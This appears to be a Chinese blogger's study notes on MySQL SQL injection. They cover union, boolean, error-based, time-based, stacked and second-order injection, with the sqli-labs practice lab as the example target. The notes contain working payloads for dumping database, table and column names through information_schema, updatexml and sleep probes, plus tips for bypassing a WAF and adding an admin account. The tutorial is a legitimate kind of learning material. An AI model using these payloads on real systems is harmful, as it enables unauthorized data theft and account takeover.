大佬bolg!!!!!!!!的学习笔记
一、SQL注入概述
1.1什么是SQL注入
SQL注入是后台服务器对于前端用户提交的数据没有严格的合法校验和过滤,导致前端提交到后端的数据可以被攻击者恶意修改,即构造特定sql注入语句来欺骗服务器执行SQL语句实现对数据库的任意操作
1.2为什么会有SQL注入
- 研发人员在开发过程中代码逻辑不严谨造成的,例如没有对SQL参数进行严格过滤
- 未启用框架的安全配置,列如PHP的magic_quotes_gpc(魔术引号开关)
- 未启用防火墙等其他安全防护设备
- 由于前端用户传入的用户名和密码参数是可控的,而恶意攻击者利用传入的参数是可控的这个歌漏洞来构造恶意SQL注入语句,破坏了后台代码中的sql语句原有的语义,从而绕过了后台服务器执行任意操作来达到某种目的
二、预备知识
2.1简单的查询语句
select查询语句
#在网站中的进行数据显示的查询操作
select * from 表名 where 条件(如id)
insert 插入数据
#在网站中进行用户注册等操作
insert into 表名(`字段`,`字段`,`字段`) values('值','值','值')
delect 删除语句
后台管理里面删除文章删除用户等操作
delect from 表名 where 条件
update 更新数据
会员或后台中心数据同步或缓存等操作
update 表名 set `字段` ="值"
2.2注释符
-
#, 单行注释
-
– 一般和+一起 --+
- 多行注释/* */ 中间可以跨行
- 内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从MySQL中导出的SQL语句不能被其他数据库使用,把一些MySQL特有的语句放在/*! … */ 中,这些语句在不兼容的数据库中使用时不会执行,而MySQL 自身却能识别、执行。
- 内联注释用来绕waf(尤其是安全狗,用内联和post)
2.3一些常用函数
length()函数 ——返回字符串的长度
-- 判断数据库名称的长度
?id=1 and length(database())>1
order by 可以判断表中有多少个字段
只有最后一个select语句能用order by
-- order by 可以判断表中有多少个字段
select * from user order by + 数字
-- order by 的真正用法是给后面的接的字段数值排序
order by a,b --a和b都是升序
order by a,b desc --a升序,b降序
order by a desc,b --a降序,b升序
order by a desc,b desc --a和b都是降序
/*
1.如果不指定排序的标准,则默认是升序,升序用asc表示,默认可以不写
2.为一个字段指定的排序标准并不会对另一个字段产生影响
3.强烈建议为每一个字段都指定排序的标准
*/
select * from user order by id
SQL中limit的用法
limit子句用于限制查询结果返回的数量,常用于分页查询
select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开
#
limit n 等同于 limit 0,nsql
like模糊查询
Mysql中的like语句中的通配符:%,_ ,
- %代表一个或多个字符的通配符
- _ 代表仅仅一个通配符
count()函数的用法
select count(*) from user
-- (统计后面这条sql语句查询出了几行行数据) select * from user
concat()函数的用法
select concat(str1,str2) from 表名
-- concat()没有分隔的连接字符串
concat_ws()函数的用法
select concat_ws(",",str1,str2) ......
-- 含有分隔符地连接字符串
-- 0x7e '~'
group_concat()函数的用法
select group_concat(`字段`) from `表名`
-- group_concat()将组中所有的字符串按逗号分隔
if()函数
select if(条件,显示数据1,显示数据2);
#如果条件是正确的,显示数据1,错误的则显示数据2
sleep()函数
#sleep()函数表示sql语句执行的延时时间
3这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数
if()和sleep()的配合
截取函数
- mid函数
mid('asb',1,1)='a'
-- 第一个参数指的是带截取的字符串
-- 第二个参数指的是截取的索引位(没有0,第一位就是1)
-- 第三个参数是指截取的位数
- substr函数
substr('asd',1,1)='a'
- left函数
left('asd',1)='a'
left('asd',2)='as'
left('asd',3)='asd'
2.4文件读写操作
yi'ju'h
1.对文件读写操作有限制的配置:secure-file-priv(在mysql的配置文件my.ini中)
secure-file-priv 有三种情况:
- NULL 表示数据的导入和导出被限制
- ‘path’ 表示数据的导入和导出都要在这个路径下进行
- 空 表示数据的导入和导出不受限制
show variables like "secure_file_priv"
2.对文件上传操作有限制的配置:magic_quotes_gpc(在php环境配置文件php.ini中)
当magic_ quotes_ gpc = On时,输入数据中含单引号(’ )、双引号(")、反斜线()与NULL (NULL字符)等字符,都会被加上
解决方法:将路径转化为16进制
3.php代码中的addslashes()函数:
load_file():读取函数
into outfile或 into dumpfile:导出函数
三、sql注入分类
3.1union联合注入
- MYSQL5.0版本后,mysql数据库默认会有一个information_schema数据库,在这个数据库中有三张非常重要的表,分别是:schemata,tables,columns
- 在联合查询的前后两个查询语句中,前后两个查询语句中所查询的列的个数必须相同
联合查询步骤
(1)先判断是否存在sql注入,如果存在,判断是数字型还是字符型
(2)通过order by 来判断union语句前一个查询的列数,
(3)判断显示位,优化SQL语句将id改成一个不存在的数字(或者and 1=2再接union)
(4)使用union select 来获取目标数据库的名称
(5)union select 1,2,group_concat(table_name) ,3 from information_schema.tables where table_schema=database() 语句来获取表名
(5)union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’’ 语句获取列名
(6)即可实现暴库
函数说明
-
union内部的select语句必须拥有相同数量的列,列也必须又相同的数据类型,同时,每条select语句中列的顺序必须相同
-
order by: 语句用于根据指定列对结果集进行排序(判断列数)
3.2盲注
sql注入时很多时候都是无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候就需要用到相关的报错或者盲注进行后续操作。
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为以下三类:
-
基于布尔的SQL盲注-逻辑判断
- bool就是true和false,也就是说他只会根据你的注入信息返回Ture跟Fasles,
- 常用的函数有:regexp,like,ascii,left,ord,mid
-
基于报错的SQL盲注-报错回显
- floor,updatexml,xtractvalue
-
基于时间的SQL盲注-延时判断
- 常用的函数:if,sleep
3.2.1布尔盲注
-
代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息
只返回"Right" 与"Wrong"。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真"和“假”来识别我们的判断是否正确,这就是布尔盲注! -
真实的注入环境中,web页面肯定不会直接回显true或false的,一般根据页面返回的结果作为依据来判断
-
布尔盲注方法:构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入
-
布尔盲注常用方法
- length函数
length(database())>0
- mid截取函数
and mid(database(),1,1)='a' -- 爆库名
and mid((select table_name from information_schema.tables where table_schema=database()),1,1)='a' --爆列名
- substring()函数,使用方法和mid函数一致
- 使用ascii()(数字型注入不允许有引号,要把截取的内容改成ascii码)
and ascii(mid((select table_name from information_schema.tables where table_schema=database()),1,1))=97
- 盲注需要配合burp suit使用,爆破信息
3.2.2报错盲注
- 当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断
报错注入的三种方法:
- updatexml报错注入
update(XML_document,XPath_string,new_value)
-- 第一个参数表示目标XML文档(例如doc)
-- 第二个参数表示路径
-- 第三个参数表示替换查找的数据
-- 爆出库名 updatexml(1,concat(0x7e,database(),0x7e),1)
-- 爆表名 udatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where talbe_schema=database()),0x7e),1)
-- 注!!!!使用updatexml,通过报错处理,最多显示32个字符 !!!!!!
- extractvalue
extractvalue(XML_document,XPath_string)
-- 作用:从目标xml中返回包含所查询值得字符串
-- 第一个参数:string格式,为xml文档对象得名称(Doc)
-- 第二个参数:Xpath格式的字符串
-- 具体使用方法和updatexml差不多
-- 爆库updatexmle(1,concat(0x7e,database()))
-
floor报错注入
- floor报错注入的原理涉及
rand():随机返回0~1之间的小数 floor():小数向下取整(向上取整数是ceiling()函数) concat_ws():将括号内的数据用第一个字段链接起来 group by子句:分组语句,常用于结合统计函数,根据一个列,或多个列,对其结果分组 as:就是取别名 count:汇总统计数量 limit:显示指定行数
-
rand()函数的注意点:数据库在执行该语句查询数据库时,rand()函数会计算出users表的行数,users表每有一行数据rand()函数就会计算一次,上图中rand()函数计算了13次,说明users表中有13行数据,换句话说,users表中有多少
行数据,rand函数就会执行次。 -
floor方法爆库
select count(*),concat_ws('-',database(),floor(rand()*2)) as from users group by a
- floor方法报表
select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a;
3.2.3时间盲注
当web页面没有回显、没有报错、也不返回true或false类型的结果,使用时间盲注!
判断:if((1=1),sleep(3),0)
if有三个参数,第一个时判断条件,第二个时判断成立时执行的m,第三个参数是判断错误
- 时间盲注最总要的函数就是sleep()函数
if(length(database())>0,1,0) -- 判断数据库长度
if(mid(database(),1,1)='a',1,0) -- 逐一猜测
if(ascii(mid(database(),1,1))=97,1,0)
- 时间盲注基本上就是布尔盲注加了个if(条件,sleep(5),0)
3.3堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条) 一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。 这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
就是由多条语句执行的结果
堆叠注入的局限性:不是针对所有的数据库都能执行
使用环境:有时候sql注入获得管理员的账号和密码之后,但由于密码是加密的,无法解密,这个时候就可以使用堆叠注入插入数据库,实现管理员用户的添加
3.4基于POST提交的SQL注入
3.4.1POST注入提交方式
- 在之前使用的基本上都都是使用get方式提交的,post和get区别在于
- get方式提交可以被网页缓存,post方式则不会
- get提交参数会保留在浏览器的历史记录中,POST方式不会
- GET提交可以被收藏为书签,POST方式不会
- GET提交有长度限制,最长2048个字符:post提交没有长度限制,允许使用ASCII码值,二进制数据
- 总体上来说,POST提交方式比GET方式更加安全;而且真实环境中基本上不使用GET方式,而是使用POST方式
3.4.2一个简单的POST注入
sqli-labs第11题
-
第一步:任意填写数据提交,以捕获一个数据包
-
知晓了post请求参数的内容,可以选择在hackbar或者直接在burp suit中进行注入
1.5其他注入
加解密注入:注入的字段要转换成Base64
二次注入:
- 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
- 黑盒测试(无法通过扫描工具,手工测试出来)是不能发现二次注入(在后端代码中)的
DNS注入
- 没怎么看懂,以后再说
- 解决了盲注不能回显数据,效率低的问题